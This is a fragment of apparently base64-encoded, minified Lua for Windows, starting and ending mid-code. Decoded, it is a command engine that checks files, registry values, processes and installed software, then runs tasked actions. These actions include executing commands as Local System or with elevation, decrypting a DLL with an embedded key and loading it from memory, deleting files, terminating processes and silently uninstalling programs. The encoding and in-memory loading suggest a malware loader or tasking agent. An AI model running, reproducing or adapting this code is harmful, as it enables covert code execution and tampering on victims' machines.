OwplbmQKcmV0dXJuIHRydWU7CmVuZApmdW5jdGlvbiB0LmZpbGVwYXJ0cyhlKQpyZXR1cm4gc3Ry
aW5nLm1hdGNoKGUsIiguLSkoW15cXF0tKFteJS5dKykpJCIpOwplbmQKZnVuY3Rpb24gdC5yZWFk
ZmlsZShvKQpsb2NhbCBhOwppZiBDcmVhdGVGaWxlfj1uaWwgdGhlbgpsb2NhbCBlPUNyZWF0ZUZp
bGUobyx3MzJbIkdFTkVSSUNfUkVBRCJdLHczMlsiRklMRV9TSEFSRV9SRUFEIl0sbmlsLHczMlsi
T1BFTl9FWElTVElORyJdLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09
LTEgb3IgZT09dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5m
b3JtYXQoIlJlYWRmaWxlOiAlcyBFcnJvcjogJXMgKCVzKSIsbyxHZXRMYXN0RXJyb3IoKSxlKSk7
CmVsc2UKbG9jYWwgdD1HZXRGaWxlU2l6ZUV4KGUpOwppZiB0PjAgdGhlbgpoLGE9UmVhZEZpbGUo
ZSx0KTsKZW5kCmVuZAppZiBlIHRoZW4gQ2xvc2VIYW5kbGUoZSk7ZW5kCmVsc2UKbG9jYWwgZT1p
by5vcGVuKG8sInJiIik7CmlmIGUgdGhlbgphPWU6cmVhZCgiKmEiKQplOmNsb3NlKCkKZW5kCmVu
ZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQud3JpdGVmaWxlKG8saSxlKQpsb2NhbCBhPTA7Cmlm
IENyZWF0ZUZpbGUgdGhlbgpsb2NhbCBlPWUgb3IgdzMyWyJDUkVBVEVfTkVXIl07CmxvY2FsIGU9
Q3JlYXRlRmlsZShvLHczMlsiR0VORVJJQ19XUklURSJdLHczMlsiRklMRV9TSEFSRV9XUklURSJd
LG5pbCxlLHczMlsiRklMRV9BVFRSSUJVVEVfTk9STUFMIl0sbmlsKTsKaWYgZT09LTEgb3IgZT09
dzMyWyJJTlZBTElEX0hBTkRMRV9WQUxVRSJddGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldy
aXRlZmlsZTogJXMgRXJyb3I6ICVzICglcykiLG8sR2V0TGFzdEVycm9yKCksZSkpOwplbHNlCmgs
YT1Xcml0ZUZpbGUoZSxpKTsKZW5kCmlmIGUgdGhlbiBDbG9zZUhhbmRsZShlKTtlbmQKZWxzZQps
b2NhbCBlPWlvLm9wZW4obywid2IiKQppZiBlIHRoZW4KZTp3cml0ZShpKQplOmNsb3NlKCkKYT0j
aTsKZW5kCmVuZApyZXR1cm4gYTsKZW5kCmZ1bmN0aW9uIHQucmFuZG9tKGUpCm1hdGgucmFuZG9t
c2VlZChvcy50aW1lKCkpOwpsb2NhbCB0PShlKWFuZCBlIG9yIDEKbG9jYWwgZT0iIjsKZm9yIHQ9
MSx0IGRvCmU9ZS4uc3RyaW5nLmNoYXIobWF0aC5yYW5kb20oOTcsMTIyKSk7CmVuZApyZXR1cm4g
ZTsKZW5kCmZ1bmN0aW9uIHQuZGVidWcoZSkKaWYgT3V0cHV0RGVidWdTdHJpbmcgdGhlbgpsb2Nh
bCB0PShDaGVja0FyZylhbmQgQ2hlY2tBcmcoIm9wdGlvbnMiKW9yIiI7CmlmIHQ6c3ViKDEsMSk9
PSIxInRoZW4KT3V0cHV0RGVidWdTdHJpbmcoc3RyaW5nLmZvcm1hdCgibHVhIGRiZzogJXNcbiIs
dG9zdHJpbmcoZSkpKTsKZW5kCmVsc2UKcHJpbnQoZSk7CmVuZAplbmQKZnVuY3Rpb24gdC50ZW1w
cGF0aCgpCmlmIEdldFRlbXBQYXRofj1uaWwgdGhlbgprLHY9R2V0VGVtcFBhdGgoKTsKcmV0dXJu
IHY7CmVuZApyZXR1cm4iIjsKZW5kCmZ1bmN0aW9uIHQucXVlcnlzZXJ2aWNlKGksYSkKbG9jYWwg
bz1PcGVuU0NNYW5hZ2VyKCk7CmxvY2FsIGU7CmlmIGE9PW5pbCB0aGVuIGE9NDtlbmQKaWYgbz4w
IHRoZW4KbG9jYWwgbz1PcGVuU2VydmljZShvLGkpOwppZiBvPjAgdGhlbgpsb2NhbCBkLGgscyxp
LG4scj1RdWVyeVNlcnZpY2VDb25maWcobyk7CmlmIG5vdCBkIHRoZW4KZT17aCxzLGksbixyfTsK
dC5kZWJ1ZygiUXVlcnlTZXJ2aWNlOiAiLi5lW2FdKTsKZW5kCkNsb3NlU2VydmljZUhhbmRsZShv
KTsKZW5kCmVuZAppZiB0eXBlKGUpPT0idGFibGUidGhlbgppZiBlW2FddGhlbgpyZXR1cm4gZVth
XTsKZW5kCmVuZApyZXR1cm4gbmlsOwplbmQKZnVuY3Rpb24gdC5jdXN0b21zKGEpCmxvY2FsIHM9
dHJ1ZTsKUFJPR1JBTV9GSUxFUz0oUmVnUXVlcnlWYWx1ZUV4KWFuZCBSZWdRdWVyeVZhbHVlRXgo
dzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSwiU29mdHdhcmVcXE1pY3Jvc29mdFxcV2luZG93c1xc
Q3VycmVudFZlcnNpb24iLCJQcm9ncmFtRmlsZXNEaXIiKW9yIiI7CnNUbXBQYXRoPXQudGVtcHBh
dGgoKTsKbG9jYWwgZT1zdHJpbmcuZ3N1YihhLCJcXCIsIlxcXFwiKTsKbG9jYWwgbz0wOwp3aGls
ZSBzPT10cnVlIGFuZCBvPDUwIGRvCm89bysxOwppZiBzdHJpbmcuZmluZChhLCIkUFJPR1JBTUZJ
TEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9HUkFNRklMRVMiLCIlJXMiKTsKZT1zdHJp
bmcuZm9ybWF0KGUsUFJPR1JBTV9GSUxFUzpnc3ViKCJcXCIsIlxcXFwiKSk7CmVsc2VpZiBzdHJp
bmcuZmluZChhLCIkVEVNUEZJTEVTIil0aGVuCmU9c3RyaW5nLmdzdWIoZSwiJSRURU1QRklMRVMi
LCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsc1RtcFBhdGg6Z3N1YigiXFwiLCJcXFxcIikpOwpl
PWU6Z3N1YigiXFxcXFxcIiwiXFwiKTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRTSUQiKXRoZW4K
bG9jYWwgdD1HZXRDdXJyZW50VXNlclNpZCgpOwplPXN0cmluZy5nc3ViKGUsIiUkU0lEIiwiJSVz
Iik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFRJTUVMQVNU
Iil0aGVuCmlmIEdldFRpbWVMYXN0fj1uaWwgdGhlbgpsb2NhbCB0PUdldFRpbWVMYXN0KCk7CmU9
c3RyaW5nLmdzdWIoZSwiJSRUSU1FTEFTVCIsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSx0KTsK
ZW5kCmVsc2VpZiBzdHJpbmcuZmluZChhLCIkQ01EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNo
KGEsIkNNRCglZCspIik7CmlmIGF+PW5pbCB0aGVuCmxvY2FsIG49IiI7CmlmIHN0cmluZy5maW5k
KGEsIjoiKXRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIjoiKTsKaWYgYVsxXX49bmlsIHRoZW4KbG9j
YWwgZT10LnNwbGl0KGlbYVsxXV0sIiAiKTsKbG9jYWwgbyxpPXN0cmluZy5maW5kKGFbMl0sIisi
KTsKaWYgbyB0aGVuCmFbMl09c3RyaW5nLmdzdWIoYVsyXSwiKyIsIiIpOwppZiB0eXBlKGUpPT0i
dGFibGUidGhlbgpmb3Igbz10YWJsZS5nZXRuKGUpLDEsLTEgZG8KaWYgbzx0b251bWJlcihhWzJd
KXRoZW4KdGFibGUucmVtb3ZlKGUsbyk7CmVsc2UKaWYgc3RyaW5nLmZpbmQoZVtvXSwiPSIpdGhl
bgpsb2NhbCB0PXQuc3BsaXQoZVtvXSwiPSIpOwplW29dPXN0cmluZy5mb3JtYXQoJyVzPSIlcyIn
LHRbMV0sdFsyXSk7CmVuZAplbmQKZW5kCm49dGFibGUuY29uY2F0KGUsIiAiKTsKZW5kCmVsc2UK
bj1lW3RvbnVtYmVyKGFbMl0pXTsKZW5kCmVuZAplbHNlCm49KGlbdG9udW1iZXIoYSldKWFuZCBp
W3RvbnVtYmVyKGEpXW9yIGlbYV07CmVuZAphPXN0cmluZy5nc3ViKGEsIisiLCIlJSsiKTsKZT1z
dHJpbmcuZ3N1YihlLCIlJENNRCIuLmEsIiUlcyIpOwplPXN0cmluZy5mb3JtYXQoZSxuKTsKZW5k
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkU09VUkNFR1VJRCIpdGhlbgpsb2NhbCB0PUNoZWNrQXJn
KCJzb3VyY2UiKTsKZT1zdHJpbmcuZ3N1YihlLCIlJFNPVVJDRUdVSUQiLHQpOwplbHNlaWYgc3Ry
aW5nLmZpbmQoYSwiJFVTRVJHVUlEIil0aGVuCmxvY2FsIHQ9R2V0VXNlckd1aWQoKTsKc1VzZXJH
dWlkPXN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVzLSVzIix0OnN1YigxLDgpLHQ6c3ViKDksMTIp
LHQ6c3ViKDEzLDE2KSx0OnN1YigxNywyMCksdDpzdWIoMjEpKTsKc1VzZXJHdWlkPXN0cmluZy51
cHBlcihzVXNlckd1aWQpOwplPXN0cmluZy5nc3ViKGUsIiUkVVNFUkdVSUQiLHNVc2VyR3VpZCk7
CmVsc2VpZiBzdHJpbmcuZmluZChhLCIkVkVSU0lPTiIpdGhlbgppZiBHZXRWZXJzaW9ufj1uaWwg
dGhlbgpsb2NhbCB0PXRvc3RyaW5nKEdldFZlcnNpb24oKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRW
RVJTSU9OIiwiJSVzIik7CmU9c3RyaW5nLmZvcm1hdChlLHQpOwplbmQKZWxzZWlmIHN0cmluZy5m
aW5kKGEsIiRPUFRJT05TIil0aGVuCmxvY2FsIG89KENoZWNrQXJnKWFuZCBDaGVja0FyZygib3B0
aW9ucyIpb3IiIjsKbG9jYWwgYT1zdHJpbmcubWF0Y2goYSwiT1BUSU9OUyglZCspIik7CmlmIGF+
PW5pbCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRWxlbWVudDogJXMiLGEpKTsKZT1zdHJp
bmcuZ3N1YihlLCIlJE9QVElPTlMiLi5hLCIlJXMiKTsKZT1zdHJpbmcuZm9ybWF0KGUsbzpzdWIo
YSxhKSk7CmVsc2UKZT1zdHJpbmcuZ3N1YihlLCIlJE9QVElPTlMiLCIlJXMiKTsKZT1zdHJpbmcu
Zm9ybWF0KGUsbyk7CmVuZAplbHNlaWYgc3RyaW5nLmZpbmQoYSwiJFBST0RVQ1QiKXRoZW4KbG9j
YWwgdD0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJvcHRpb25zIilvciIiOwpsb2NhbCB0PXN0cmlu
Zy5mb3JtYXQoIiVzIix0OnN1Yig4LDEwKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRQUk9EVUNUIix0
KTsKZWxzZWlmIHN0cmluZy5maW5kKGEsIiRJczY0Qml0Iil0aGVuCmxvY2FsIGE9KElzNjRCaXQo
KT09dHJ1ZSlhbmQiNjQib3IiMzIiOwp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIklzNjRCaXQ6ICVz
IixhKSk7CmU9c3RyaW5nLmdzdWIoZSwiJSRJczY0Qml0IixhKTsKdC5kZWJ1ZyhlKTsKZWxzZWlm
IHN0cmluZy5maW5kKGEsIiRSQU5EIil0aGVuCmxvY2FsIGE9c3RyaW5nLm1hdGNoKGEsIlJBTkQo
LispIik7Cm1hdGgucmFuZG9tc2VlZChvcy50aW1lKCkpOwplPXRvc3RyaW5nKG1hdGgucmFuZG9t
KDEsMTAwKSk7CmlmIGF+PW5pbCB0aGVuCmlmIHN0cmluZy5maW5kKGEsIiwiKXRoZW4KbG9jYWwg
dD10LnNwbGl0KGEsIiwiKTsKaWYgdFsxXX49bmlsIHRoZW4KaWYgdG9udW1iZXIodFsxXSk+dG9u
dW1iZXIodFsyXSl0aGVuCnRbMV09MQplbmQKZT10b3N0cmluZyhtYXRoLnJhbmRvbSh0b251bWJl
cih0WzFdKSx0b251bWJlcih0WzJdKSkpOwplbmQKZW5kCmVuZAp0LmRlYnVnKHN0cmluZy5mb3Jt
YXQoIlJhbmRvbTogJXMiLGUpKTsKZWxzZQpzPWZhbHNlOwplbmQKYT1lOwplbmQKZT0odHJpbSlh
bmQgdHJpbShlKW9yIHQudHJpbShlKTsKcmV0dXJuIGU7CmVuZApmdW5jdGlvbiB0LmNvbW1hbmQo
ZSkKbG9jYWwgbz1mYWxzZTsKaWYgZVsidHh0Y21kIl09PSJJZiJ0aGVuCmxvY2FsIGE9dC5jdXN0
b21zKGVbInR4dFdoYXQiXSk7CmlmIGVbInR4dGRvIl09PSJGaWxlInRoZW4KZHdSZXN1bHQsdEZp
bGVJbmZvPUZpbmRGaXJzdEZpbGUoYSk7CmlmIGR3UmVzdWx0fj0wIHRoZW4KZVsicmVzdWx0Il09
KGVbInR4dFdoYXRJZiJdPT0iRXhpc3RzIilhbmQiMSJvciIwIjsKZWxzZQplWyJyZXN1bHQiXT0o
ZVsidHh0V2hhdElmIl09PSJOb3QgRXhpc3RzIilhbmQiMSJvciIwIjsKZW5kCmlmIGR3UmVzdWx0
PjAgdGhlbgpGaW5kQ2xvc2UoZHdSZXN1bHQpOwplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdp
c3RyeSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnk6ICVzIixhKSk7CmxvY2Fs
IG89dC5zcGxpdChhLCIsIik7CmlmIHczMltvWzFdXX49bmlsIHRoZW4KaWYgb1szXX49bmlsIHRo
ZW4KbG9jYWwgYT1SZWdRdWVyeVZhbHVlRXgodzMyW29bMV1dLG9bMl0sb1szXSk7CmE9KGF+PW5p
bClhbmQgdC5jdXN0b21zKGEpb3IgbmlsOwppZiBlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyJhbmQg
b1s1XX49bmlsIGFuZCBhfj1uaWwgdGhlbgppZiBhPT1vWzVddGhlbgplWyJyZXN1bHQiXT0iMSI7
CmVuZAplbHNlaWYgZVsidHh0V2hhdElmIl09PSJFeGlzdHMiYW5kIGF+PW5pbCB0aGVuCmVbInJl
c3VsdCJdPSIxIjsKZWxzZWlmIGVbInR4dFdoYXRJZiJdPT0iTm90IEV4aXN0cyJhbmQgYT09bmls
IHRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZW5kCmVsc2UKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0
KCJSZWdpc3RyeSBFcnJvciAlcyAlcyIsZVsidHh0V2hhdElmIl0sYSkpOwplbmQKZWxzZWlmIGVb
InR4dGRvIl09PSJDb21tYW5kInRoZW4KbG9jYWwgYT10LnNwbGl0KGEsIiwiKTsKaWYgYVsyXX49
bmlsIHRoZW4KbG9jYWwgbz0oaVt0b251bWJlcihhWzFdKV0pYW5kIGlbdG9udW1iZXIoYVsxXSld
b3IgaVthWzFdXTsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJDb21tYW5kICMlczogJXMgJXMgJXMi
LGFbMV0sbyxlWyJ0eHRXaGF0SWYiXSxhWzJdKSk7CmlmIGVbInR4dFdoYXRJZiJdPT0iQ29udGFp
bnMidGhlbgppZiBzdHJpbmcuZmluZChzdHJpbmcudXBwZXIobyksc3RyaW5nLnVwcGVyKGFbMl0p
KXRoZW4KZVsicmVzdWx0Il09IjEiOwplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2UKaWYg
bz09YVsyXXRoZW4KZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iRXF1YWxzIilhbmQiMSJv
ciIwIjsKZWxzZQplWyJyZXN1bHQiXT0oZVsidHh0V2hhdElmIl09PSJOb3QgRXF1YWxzIilhbmQi
MSJvciIwIjsKZW5kCmVuZAplbHNlCmVbInJlc3VsdCJdPSIwIjsKZW5kCmVsc2VpZiBlWyJ0eHRk
byJdPT0iVmFyaWFibGUidGhlbgpsb2NhbCBhPXQuc3BsaXQoYSwiLCIpOwplWyJyZXN1bHQiXT0i
MCI7CmlmIGFbMl1+PW5pbCB0aGVuCnNTRz0oQ2hlY2tBcmcpYW5kIENoZWNrQXJnKCJzb3VyY2Ui
KW9yIiI7CmlmIGFbMV09PSJVc2VyIEdVSUQidGhlbgpzU0c9R2V0VXNlckd1aWQoKTsKc1NHPXN0
cmluZy51cHBlcihzdHJpbmcuZm9ybWF0KCIlcy0lcy0lcy0lcy0lcyIsc1NHOnN1YigxLDgpLHNT
RzpzdWIoOSwxMiksc1NHOnN1YigxMywxNiksc1NHOnN1YigxNywyMCksc1NHOnN1YigyMSkpKTsK
ZWxzZWlmIGFbMV09PSJWZXJzaW9uInRoZW4KaWYgR2V0VmVyc2lvbn49bmlsIHRoZW4Kc1NHPXRv
c3RyaW5nKEdldFZlcnNpb24oKSk7CmVuZAplbHNlaWYgYVsxXT09IklzNjRCaXQidGhlbgppZiBJ
czY0Qml0fj1uaWwgdGhlbgpzU0c9dG9zdHJpbmcoSXM2NEJpdCgpKTsKZW5kCmVsc2VpZiBzdHJp
bmcuZmluZChhWzFdLCJPcHRpb25zIil0aGVuCnNTRz10LmN1c3RvbXMoIiQiLi5zdHJpbmcudXBw
ZXIoYVsxXSkpOwplbmQKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJWYXJpYWJsZSAlcyAoJXMpID0g
JXMiLGFbMV0sc1NHLGFbMl0pKTsKaWYgZVsidHh0V2hhdElmIl09PSJDb250YWlucyJ0aGVuCmlm
IHN0cmluZy5maW5kKHNTRyxhWzJdKXRoZW4KZVsicmVzdWx0Il09IjEiOwplbmQKZWxzZQppZiBz
U0c9PWFbMl10aGVuCmVbInJlc3VsdCJdPShlWyJ0eHRXaGF0SWYiXT09IkVxdWFscyIpYW5kIjEi
b3IiMCI7CmVsc2UKZVsicmVzdWx0Il09KGVbInR4dFdoYXRJZiJdPT0iTm90IEVxdWFscyIpYW5k
IjEib3IiMCI7CmVuZAplbmQKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUHJvY2VzcyJ0aGVuCmlm
IElzUHJvY2Vzc1J1bm5pbmcoYSxmYWxzZSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJy
ZXN1bHQiXT0iMCI7CmVuZAplbHNlaWYgZVsidHh0ZG8iXT09Ikluc3RhbGxlZCJ0aGVuCmxvY2Fs
IHQ9e307CnRbMV09IlNPRlRXQVJFXFxXb3c2NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxD
dXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsKdFsyXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2lu
ZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5zdGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZVsic3Rh
dHVzIl09IjAiOwpmb3Igbyx0IGluIHBhaXJzKHQpZG8KbG9jYWwgbz1SZWdFbnVtS2V5RXgodzMy
WyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSx0KTsKaWYgdHlwZShvKT09InRhYmxlInRoZW4KZm9yIGks
byBpbiBwYWlycyhvKWRvCmxvY2FsIGk9UmVnRW51bVZhbHVlKHczMlsiSEtFWV9MT0NBTF9NQUNI
SU5FIl0sdC4uIlxcIi4ubyk7CmlmIHR5cGUoaSk9PSJ0YWJsZSJ0aGVuCmZvciBuLGkgaW4gcGFp
cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
